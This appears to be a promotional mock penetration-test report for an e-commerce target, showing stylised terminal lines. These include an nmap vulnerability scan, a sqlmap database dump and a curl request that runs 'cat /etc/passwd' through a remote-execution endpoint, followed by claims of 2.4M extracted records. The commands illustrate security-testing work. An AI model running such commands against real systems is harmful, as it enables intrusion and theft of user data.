PENTEST REPORT v3.1 | CLASSIFICATION: CONFIDENTIAL fckyou.online | FZ-CONTROL
CRITICAL VULNERABILITIES DETECTED 2024.03.15 — 2024.03.22
TARGET
E-commerce Platform [REDACTED]
ATTACK SURFACE
Web App + API + Infra
MAX CVSS
9.8 — CRITICAL
TIME TO FIX
24 HOURS
$ nmap -sV -sC --script=vuln target.com
PORT STATE SERVICE
80/tcp open http Apache/2.4.41
443/tcp open ssl/http nginx/1.18.0
3306/tcp open mysql MySQL 5.7.32
[!] SQL Injection found: /api/search?q=
[!] Remote Code Execution: /admin/upload
[!] Auth Bypass: JWT token manipulation
$ sqlmap -u "target.com/api/search?q=test" --dbs
[+] Database extracted: 2.4M user records
$ curl -X POST target.com/api/exec -d 'cmd=cat /etc/passwd'
[+] root:x:0:0:root:/root:/bin/bash
$ _
3
CRITICAL
4
HIGH
3
MEDIUM
2
LOW

ATTACK CHAIN

Recon в†’ SQLi в†’ Data Leak в†’ RCE в†’ Root Access в†’ Full DB Dump в†’ Report

IMPACT

2.4M user records exposed.
$2.1M potential damages prevented.
Fixed in 24 hours.

FZ В© fckyou.online | NDA